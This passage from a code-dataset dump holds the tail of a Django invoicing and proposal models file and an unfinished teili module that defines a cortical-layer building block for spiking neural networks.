self.get_tax()\n            # unit_cost = 1\n            # if type.id == N_Request_Type.PRODUCT:\n            print(req.get_unit_cost(), req.type)\n            item = Item(quantity=quantity, type=type, tax=tax, discount=0, unit_cost=req.get_unit_cost(), proposal=self)\n            if type.id == N_Request_Type.PRODUCT:\n                item.product = req.product\n            else:\n                item.service = req.service\n            # if req.has_own_tax():\n            #     item.tax = req.get_tax()\n            #\n            # if req.has_own_discount():\n            #     item.discount = req.get_discount()\n            item_list.append(item)\n        Item.objects.bulk_create(item_list)\n\n\n\n\n\n\n    def get_total(self):\n        return sum([item.grant_total() for item in self.get_items()])\n\n    # def get_subtotal(self):\n        return sum([item.sub_total() for item in self.get_items()])\n\n    def get_subtotal(self):\n        return sum([item.total() for item in self.get_items()])\n\n    def get_taxes(self):\n        return sum([item.sub_total()*item.tax for item in self.get_items()])/100\n\n    def get_total_discount(self):\n        return sum([item.total() - item.grant_total() for item in self.get_items()])\n\n    def get_tax(self):\n        return self.event.customer.business.tax / 100\n\n    def may_send_email(self):\n        return self.status.id in [N_Proposal_Status.DENIED, N_Proposal_Status.EDITTING, N_Proposal_Status.PENDING]\n\n    def may_be_editted(self):\n        return self.status.id not in [N_Proposal_Status.ACCEPTED, N_Proposal_Status.CANCELLED]\n\n\n    def has_expired(self):\n        return self.event.event_date.date() < datetime.date(datetime.today())\n\n    def generate_token(self):\n        if self.send_token == Proposal.DEFAULT_TOKEN_VALUE:\n            token = int(datetime.today().timestamp() * 1000000)\n            self.send_token = str(token)\n            self.save()\n            token = urlsafe_base64_encode(force_bytes(token))\n        else:\n            token = urlsafe_base64_encode(force_bytes(int(self.send_token)))\n        return token\n\n    def deny_by_business(self):\n        if self.status.id == N_Proposal_Status.PENDING:\n            self.deny(system=True)\n            return self\n        return self.ERROR\n\n    def accept_by_business(self):\n        if self.status.id in [N_Proposal_Status.PENDING, N_Proposal_Status.DENIED]:\n            self.accept()\n\n            return self\n        return self.ERROR\n\n    def deny(self, system=False):\n        self.reset_token()\n        self.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.DENIED)\n        self.denied_by_system = system\n        self.save()\n\n    def accept(self):\n          response = Invoice.objects.create_from_proposal(proposal=self, handly=False)\n          if response in Invoice.objects.ERRORS:\n               return response\n          self.reset_token()\n          self.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.ACCEPTED)\n          self.event.schedule()\n          self.save()\n          proposal_accepted.send(sender=Proposal, proposal=self)\n\n    def reset_token(self,restart_status=False, old_status=None):\n        if restart_status:\n            if not old_status:\n                old_status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.EDITTING)\n            self.status = old_status\n        self.send_token = Proposal.DEFAULT_TOKEN_VALUE\n        self.save()\n\n    def prepare_to_send(self):\n        self.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.PENDING)\n        self.save()\n\n    # def has_been_sent(self):\n    #     self.status = N_Proposal_Status.objects.get(pk=N_Proposal_Status.PENDING)\n    #     self.save()\n\n\n\nclass Invoice(models.Model, ModelSerialize):\n\n    DEFAULT_TOKEN_VALUE = '0'\n    objects = InvoiceManager()\n    proposal = models.ForeignKey(Proposal)\n    status = models.ForeignKey('N_Invoice_Status')\n    # order = models.ForeignKey(Order, null=True)\n    number = models.CharField(default='0', max_length=50)\n    created_at = models.DateTimeField(auto_now_add=True)\n    send_token = models.CharField(default=DEFAULT_TOKEN_VALUE, max_length=50)\n    payment_order = models.ForeignKey(PaymentOrder, null=True)\n    deleted = models.BooleanField(default=False)\n    due_date = models.DateField(default=datetime.now())\n\n    def add_items_list(self, items):\n        self.proposal.add_items_list(items)\n\n    def serializable_value(self, field_name):\n        # if field_name == 'proposal':\n        #     return self.proposal.serialize()\n        if field_name == 'can_send':\n            return self.may_send_email() and self.status.id != N_Invoice_Status.PENDING\n        if field_name == 'can_resend':\n            return self.may_send_email() and self.status.id == N_Invoice_Status.PENDING\n        if field_name == 'can_edit':\n            return self.may_be_editted()\n        return super(Invoice, self).serializable_value(field_name)\n\n    default_fields = ['id','status','number','created_at','due_date','can_send','can_edit', 'can_resend']\n\n    def update_due_date(self, due_date):\n        self.due_date = due_date\n        self.save()\n\n    def __str__(self):\n        return self.proposal.event.name\n\n    def generate_token(self):\n        token = int(datetime.today().timestamp() * 1000000)\n        self.send_token = str(token)\n        self.save()\n        token = urlsafe_base64_encode(force_bytes(token))\n        return token\n\n    # def has_been_sent(self):\n    #     self.status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.PENDING)\n    #     self.save()\n    def prepare_to_send(self):\n        self.status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.PENDING)\n        self.save()\n\n    def reset_token(self, restart_status=False, old_status=None):\n        self.send_token = Invoice.DEFAULT_TOKEN_VALUE\n        if restart_status:\n            if not old_status:\n                old_status = N_Invoice_Status.objects.get(pk=N_Invoice_Status.EDITTING)\n            self.status = old_status\n        self.save()\n\n    def may_send_email(self):\n        return self.status.id in [N_Invoice_Status.EDITTING, N_Invoice_Status.PENDING]\n\n    def check_status(self):\n        if self.payment_order.has_been_paid():\n            self.status = N_Invoice_Status.objects.get(id=N_Invoice_Status.PAID)\n            self.save()\n\n    def set_payment(self, payment):\n        self.payment_order = payment\n        self.save()\n\n    def has_payment_order(self):\n        return self.payment_order != None\n\n    def may_be_editted(self):\n        return self.status.id != N_Invoice_Status.PAID\n\nclass Item(models.Model, ModelSerialize):\n    objects = ItemManager()\n    proposal = models.ForeignKey(Proposal)\n    type = models.ForeignKey('N_Request_Type')\n    product = models.ForeignKey(Product, null=True)\n    service = models.ForeignKey(Service, null=True)\n\n    tax = models.DecimalField(max_digits=4, decimal_places=2, default=0)\n    quantity = models.IntegerField(default=0)\n    unit_cost = models.DecimalField(max_digits=9, decimal_places=2)\n    discount = models.DecimalField(max_digits=4, decimal_places=2)\n    description = models.TextField(max_length=150, null=True, blank=True)\n\n    default_fields = ['id','tax','quantity','description','discount','unit_cost', 'type', 'service', 'product']\n\n    def serializable_value(self, field_name):\n\n        if field_name == 'type':\n            return self.type.serialize()\n        if field_name == 'product':\n            if self.product:\n                return self.product.serialize(fields=['name','description','id'])\n            else:\n                return None\n        if field_name == 'service':\n            if self.service:\n                return self.service.serialize(fields=['id','description','name'])\n            else:\n                return None\n        if field_name == 'discount':\n            return float(self.discount)\n        if field_name == 'tax':\n            return float(self.tax)\n        if field_name == 'unit_cost':\n            return float(self.unit_cost)\n        return super(Item, self).serializable_value(field_name=field_name)\n\n    def __str__(self):\n        if self.type.id == N_Request_Type.PRODUCT:\n            return self.product.name\n        else:\n            return self.service.name\n        # return self.proposal.event.name\n\n    def sub_total(self):\n        return self.quantity * self.unit_cost\n\n    def total(self):\n        sub_total = self.sub_total()\n        return sub_total*( 1 + self.tax/100)\n\n    def grant_total(self):\n        value = self.total()\n        return value - value * self.discount / 100\n\n\nclass Request(models.Model):\n\n    objects = RequestManager()\n\n    event = models.ForeignKey(Event)\n    type = models.ForeignKey('N_Request_Type')\n    product = models.ForeignKey(Product, null=True)\n    service = models.ForeignKey(Service, null=True)\n    amount = models.DecimalField(max_digits=9, decimal_places=2)\n\n    def get_unit_cost(self):\n        if self.type.id == N_Request_Type.PRODUCT:\n            print(self.product.name, self.amount)\n            return self.product.get_product_price(self.amount)\n        else:\n            return self.service.get_service_price(self.amount)\n        # return 1\n\n    # def has_own_tax(self):\n    #     # if self.type.id == N_Request_Type.PRODUCT:\n    #     #     return self.product.has_own_tax()\n    #     # else:\n    #     #     return self.service.has_own_tax()\n    #     return False\n\n    # def get_tax(self):\n    #     # if self.type.id == N_Request_Type.PRODUCT:\n    #     #     return self.product.get_tax()\n    #     # else:\n    #     #     return self.service.get_tax()\n    #     return 0\n\n    # def has_own_discount(self):\n    #     # if self.type.id == N_Request_Type.PRODUCT:\n    #     #     return self.product.has_own_discount()\n    #     # else:\n    #     #     return self.service.has_own_discount()\n    #     return False\n    #\n    # def get_discount(self):\n    #     # if self.type.id == N_Request_Type.PRODUCT:\n    #     #     return self.product.get_discount()\n    #     # else:\n    #     #     return self.service.get_discount()\n    #\n    #     return 0\n\n#Nomenclators\n\nclass N_Proposal_Status(models.Model, ModelSerialize):\n    EDITTING = 1\n    PENDING = 2\n    ACCEPTED = 3\n    DENIED = 4\n    CANCELLED = 5\n    default_fields = ['name','id']\n    name = models.CharField(max_length=25)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        app_label = 'base'\n\nclass N_Invoice_Status(models.Model, ModelSerialize):\n    # CREATED = 1\n    EDITTING = 2\n    PENDING = 3\n    PAID = 4\n    PAST_DUE = 7\n    # CANCELLED = 5\n    # ACCEPTED = 6\n    default_fields = ['name','id']\n    name = models.CharField(max_length=25)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        app_label = 'base'\n\n\nclass N_Event_Status(models.Model, ModelSerialize):\n\n    PENDING = 1\n    SCHEDULED = 2\n    DONE = 3\n    CANCELLED = 4\n    ACCEPTED = 5\n    default_fields = ['name', 'id']\n    name = models.CharField(max_length=25)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        app_label = 'base'\n\n\nclass N_Request_Type(models.Model, ModelSerialize):\n\n    PRODUCT = 1\n    SERVICE = 2\n    default_fields = ['id','name']\n    name = models.CharField(max_length=25)\n\n    def __str__(self):\n        return self.name\n\n    class Meta:\n        app_label = 'base'", "repo_name": "djangelo88/beta1", "sub_path": "base/model_invoice.py", "file_name": "model_invoice.py", "file_ext": "py", "file_size_in_byte": 34407, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.db.models.Manager", "line_number": 19, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 19, "usage_type": "name"}, {"api_name": "django.db.models.fields.DateTimeField", "line_number": 132, "usage_type": "call"}, {"api_name": "base.exceptions.EventDataError", "line_number": 148, "usage_type": "call"}, {"api_name": "base.signals.event_booking_success.send", "line_number": 163, "usage_type": "call"}, {"api_name": "base.signals.event_booking_success", "line_number": 163, "usage_type": "name"}, {"api_name": "django.db.transaction.atomic", "line_number": 181, "usage_type": "call"}, {"api_name": "django.db.transaction", "line_number": 181, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 187, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 187, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 197, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 197, "usage_type": "name"}, {"api_name": "django.db.models.aggregates.Count", "line_number": 272, "usage_type": "call"}, {"api_name": "django.db.models.Manager", "line_number": 275, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 275, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 282, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 282, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 348, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 348, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 361, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 361, "usage_type": "name"}, {"api_name": "base.prodserv_models.Product.objects.get", "line_number": 414, "usage_type": "call"}, {"api_name": "base.prodserv_models.Product.objects", "line_number": 414, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Product", "line_number": 414, "usage_type": "name"}, {"api_name": "base.prodserv_models.Service.objects.get", "line_number": 416, "usage_type": "call"}, {"api_name": "base.prodserv_models.Service.objects", "line_number": 416, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Service", "line_number": 416, "usage_type": "name"}, {"api_name": "base.prodserv_models.Product.objects.get", "line_number": 439, "usage_type": "call"}, {"api_name": "base.prodserv_models.Product.objects", "line_number": 439, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Product", "line_number": 439, "usage_type": "name"}, {"api_name": "base.prodserv_models.Service.objects.get", "line_number": 441, "usage_type": "call"}, {"api_name": "base.prodserv_models.Service.objects", "line_number": 441, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Service", "line_number": 441, "usage_type": "name"}, {"api_name": "django.db.models.Manager", "line_number": 449, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 449, "usage_type": "name"}, {"api_name": "base.prodserv_models.Product.objects.get", "line_number": 455, "usage_type": "call"}, {"api_name": "base.prodserv_models.Product.objects", "line_number": 455, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Product", "line_number": 455, "usage_type": "name"}, {"api_name": "base.prodserv_models.Service.objects.get", "line_number": 457, "usage_type": "call"}, {"api_name": "base.prodserv_models.Service.objects", "line_number": 457, "usage_type": "attribute"}, {"api_name": "base.prodserv_models.Service", "line_number": 457, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 467, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 467, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 467, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 469, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 469, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 471, "usage_type": "call"}, {"api_name": "base.models.Address", "line_number": 471, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 471, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 472, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 472, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 474, "usage_type": "call"}, {"api_name": "base.models.Customer", "line_number": 474, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 474, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 475, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 475, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 538, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 538, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 538, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 544, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 544, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 545, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 545, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 546, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 546, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 547, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 547, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 548, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 548, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 549, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 549, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 550, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 550, "usage_type": "name"}, {"api_name": "base.api.util.serialize_query", "line_number": 558, "usage_type": "call"}, {"api_name": "base.models.Oferta.objects.get_oferta_by_name", "line_number": 590, "usage_type": "call"}, {"api_name": "base.models.Oferta.objects", "line_number": 590, "usage_type": "attribute"}, {"api_name": "base.models.Oferta", "line_number": 590, "usage_type": "name"}, {"api_name": "datetime.datetime.date", "line_number": 668, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 668, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 668, "usage_type": "call"}, {"api_name": "datetime.datetime.today", "line_number": 672, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 672, "usage_type": "name"}, {"api_name": "django.utils.http.urlsafe_base64_encode", "line_number": 675, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_bytes", "line_number": 675, "usage_type": "call"}, {"api_name": "django.utils.http.urlsafe_base64_encode", "line_number": 677, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_bytes", "line_number": 677, "usage_type": "call"}, {"api_name": "base.signals.proposal_accepted.send", "line_number": 707, "usage_type": "call"}, {"api_name": "base.signals.proposal_accepted", "line_number": 707, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 727, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 727, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 727, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 731, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 731, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 732, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 732, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 734, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 734, "usage_type": "name"}, {"api_name": "django.db.models.DateTimeField", "line_number": 735, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 735, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 736, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 736, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 737, "usage_type": "call"}, {"api_name": "stripe_cater.models.PaymentOrder", "line_number": 737, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 737, "usage_type": "name"}, {"api_name": "django.db.models.BooleanField", "line_number": 738, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 738, "usage_type": "name"}, {"api_name": "django.db.models.DateField", "line_number": 739, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 739, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 739, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 739, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 765, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 765, "usage_type": "name"}, {"api_name": "django.utils.http.urlsafe_base64_encode", "line_number": 768, "usage_type": "call"}, {"api_name": "django.utils.encoding.force_bytes", "line_number": 768, "usage_type": "call"}, {"api_name": "django.db.models.Model", "line_number": 804, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 804, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 804, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 806, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 806, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 807, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 807, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 808, "usage_type": "call"}, {"api_name": "base.prodserv_models.Product", "line_number": 808, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 808, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 809, "usage_type": "call"}, {"api_name": "base.prodserv_models.Service", "line_number": 809, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 809, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 811, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 811, "usage_type": "name"}, {"api_name": "django.db.models.IntegerField", "line_number": 812, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 812, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 813, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 813, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 814, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 814, "usage_type": "name"}, {"api_name": "django.db.models.TextField", "line_number": 815, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 815, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 860, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 860, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 864, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 864, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 865, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 865, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 866, "usage_type": "call"}, {"api_name": "base.prodserv_models.Product", "line_number": 866, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 866, "usage_type": "name"}, {"api_name": "django.db.models.ForeignKey", "line_number": 867, "usage_type": "call"}, {"api_name": "base.prodserv_models.Service", "line_number": 867, "usage_type": "argument"}, {"api_name": "django.db.models", "line_number": 867, "usage_type": "name"}, {"api_name": "django.db.models.DecimalField", "line_number": 868, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 868, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 909, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 909, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 909, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 916, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 916, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 924, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 924, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 924, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 933, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 933, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 942, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 942, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 942, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 950, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 950, "usage_type": "name"}, {"api_name": "django.db.models.Model", "line_number": 959, "usage_type": "attribute"}, {"api_name": "django.db.models", "line_number": 959, "usage_type": "name"}, {"api_name": "base.models.ModelSerialize", "line_number": 959, "usage_type": "name"}, {"api_name": "django.db.models.CharField", "line_number": 964, "usage_type": "call"}, {"api_name": "django.db.models", "line_number": 964, "usage_type": "name"}]}
{"seq_id": "18073993735", "text": "# -*- coding: utf-8 -*-\n\"\"\" This BuildingBlock class describes the organisation of a single \ncortical layer.\n\"\"\"\n# @Author: mmilde\n# @Date:   2020-04-01 17:36:37\n\nimport sys\nimport time\nimport numpy as np\n\nfrom brian2 import ms, mV, pA, SpikeGeneratorGroup,\\\n    SpikeMonitor, StateMonitor, core \n\nfrom teili.core.groups import Neurons, Connections\nfrom teili.building_blocks.building_block import BuildingBlock, InhibitorySubnetwork\nfrom teili.models.neuron_models import ExpAdaptLIF as neuron_model\nfrom teili.models.synapse_models import AlphaStdp as synapse_model\nfrom teili.models.synapse_models import Alpha as static_synapse_model\n\nlayer_params={\n    'we_inp_exc': 1.5, \n    'we_exc_exc': 0.5,\n    'we_exc_inh': 1, \n    'wi_inh_inh': -1,\n    'wi_inh_exc': -1,\n    'rp_exc': 1 * ms, \n    'rp_inh': 1 * ms,\n    'num_neurons': 64, \n    'num_inh_neurons': None,\n    'num_input_neurons': None, \n    'num_inputs': 3, \n    'num_inh_inputs': 3,\n    'ee_connection_probability': 0.7,\n    'ei_connection_probability': 0.7, \n    'ie_connection_probability': 0.7,\n    'ii_connection_probability': 0.1,\n    'connection_dropoff': 'exponential',\n    }\n\n\nclass CorticalLayer(BuildingBlock, InhibitorySubnetwork):\n    \"\"\" This class describes the connectivity between primary excitatory\n    neurons, such as pyramidal cells, and a inhibitory sub-network consisting\n    of models of PV- and SST-positive interneurons.\n    \"\"\"\n\n    def __init__(self, \n                 name='layer*',\n                 neuron_eq_builder=neuron_model,\n                 synapse_eq_builder=synapse_model,\n                 static_synapse_eq_builder=static_synapse_model,\n                 block_params=layer_params,\n                 monitor=True,\n                 verbose=False):\n        \"\"\" This function initialises the CorticalLayer building block.\n\n        Args:\n            name (str, optional): Name of the cortical layer\n            neuron_eq_builder (class, optional): neuron class as imported from\n                models/neuron_models.\n            synapse_eq_builder (class, optional): synapse class as imported from\n                models/synapse_models used for all synapses, unless \n                static_synapse_eq_builder is not `None`, in which case all\n                non-plastic synapse follow the model provided.                \n            static_synapse_eq_builder (class, optional): synapse class as imported from\n                models/synapse_models for all non-plastic synapses.\n            num_neurons (int, required): Number of excitatory neurons within\n                the layer.\n            num_inputs (int, optional): Number of input currents to WTA.\n            spatial_kernel (str, optional): Connectivity kernel for lateral\n                connectivity. Default is 'kernel_gauss_1d'.\n                See tools.synaptic_kernel for more detail.\n        \"\"\"\n        BuildingBlock.__init__(self,\n                               name,\n                               neuron_eq_builder,\n                               synapse_eq_builder,\n                               block_params,\n                               verbose,\n                               monitor)\n\n        if static_synapse_eq_builder is None:\n            static_synapse_eq_builder = synapse_eq_builder\n        self._groups,\\\n        self.monitors,\\\n        self.standalone_parameters = gen_cortical_layer(name,\n                                                        neuron_eq_builder,\n                                                        synapse_eq_builder,\n                                                        static_synapse_eq_builder,\n                                                        **block_params)\n        \n        \n        self.input_group\n        self.output_group\n\n\ndef gen_cortical_layer(layer_name,\n                       neuron_eq_builder=neuron_model,\n                       synapse_eq_builder=synapse_model,\n                       static_synapse_eq_builder=static_synapse_model,\n                       we_inp_exc=1.5, \n                       we_exc_exc=0.5,\n                       we_exc_inh=1, \n                       wi_inh_inh=-1,\n                       wi_inh_exc=-1,\n                       rp_exc=1 * ms, \n                       rp_inh=1 * ms,\n                       num_neurons=64, \n                       num_inh_neurons=None,\n                       num_input_neurons=None, \n                       num_inputs=3, \n                       num_inh_inputs=3,\n                       ee_connection_probability=0.7,\n                       ei_connection_probability=0.7, \n                       ie_connection_probability=0.7,\n                       ii_connection_probability=0.1,\n                       connection_dropoff='exponential',\n                       additional_statevars=[], \n                       monitor=True, \n                       verbose=False):\n    \"\"\" Combines InhibitorySubnetwork BuildingBloc with a primary excitatory\n    neuron cell type such as pyramidal cells. \n\n    Args:\n        layer_name (str, required): Name of the cortical layer.\n\n    Returns:\n        _groups (dictionary): Keys to all neuron and synapse groups.\n        monitors (dictionary): Keys to all spike and state monitors.\n        standalone_params (dictionary): Dictionary which holds all\n            parameters to create a standalone network.\n\n    \"\"\"\n    # create the input SpikeGeneratorGroup\n    ts = np.asarray([]) * ms\n    ind = np.asarray([])\n    spike_gen = SpikeGeneratorGroup(\n        num_input_neurons, indices=ind, times=ts,\n        name=layer_name+ '_' + 'spike_gen')\n\n    # create neuron groups\n    n_exc = Neurons(num_neurons,\n                    equation_builder=neuron_eq_builder(\n                        num_inputs=3+num_inputs),\n                    refractory=rp_exc,\n                    name=layer_name + '__' + 'n_exc')\n\n    s_exc_pv = Connections(n_exc,\n                           interneurons._groups['n_pv'],\n                           equation_builder=static_synapse_eq_builder\n                           )\n\n    s_exc_pv.connect(p=ei_connection_probability)\n    \n\n    Groups = {}\n    Monitors = {}\n    standalone_parameters = {}\n\n    return Groups, Monitors, standalone_parameters\n        \ndef set_layer_tags():\n    pass", "repo_name": "russelljjarvis/teili", "sub_path": "teili/building_blocks/cortical_layer.py", "file_name": "cortical_layer.py", "file_ext": "py", "file_size_in_byte": 6220, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "brian2.ms", "line_number": 27, "usage_type": "name"}, {"api_name": "brian2.ms", "line_number": 28, "usage_type": "name"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock", "line_number": 42, "usage_type": "name"}, {"api_name": "teili.building_blocks.building_block.InhibitorySubnetwork", "line_number": 42, "usage_type": "name"}, {"api_name": "teili.models.neuron_models.ExpAdaptLIF", "line_number": 50, "usage_type": "name"}, {"api_name": "teili.models.synapse_models.AlphaStdp", "line_number": 51, "usage_type": "name"}, {"api_name": "teili.models.synapse_models.Alpha", "line_number": 52, "usage_type": "name"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock.__init__", "line_number": 75, "usage_type": "call"}, {"api_name": "teili.building_blocks.building_block.BuildingBlock", "line_number": 75, "usage_type": "name"}, {"api_name": "teili.models.neuron_models.ExpAdaptLIF", "line_number": 99, "usage_type": "name"}, {"api_name": "teili.models.synapse_models.AlphaStdp", "line_number": 100, "usage_type": "name"}, {"api_name": "teili.models.synapse_models.Alpha", "line_number": 101, "usage_type": "name"}, {"api_name": "brian2.ms", "line_number": 107, "usage_type": "name"}, {"api_name": "brian2.ms", "line_number": 108, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 136, "usage_type": "call"}, {"api_name": "brian2.ms", "line_number": 136, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 137, "usage_type": "call"}, {"api_name": "brian2.SpikeGeneratorGroup", "line_number": 138, "usage_type": "call"}, {"api_name": "teili.core.groups.Neurons", "line_number": 143, "usage_type": "call"}, {"api_name": "teili.core.groups.Connections", "line_number": 149, "usage_type": "call"}]}
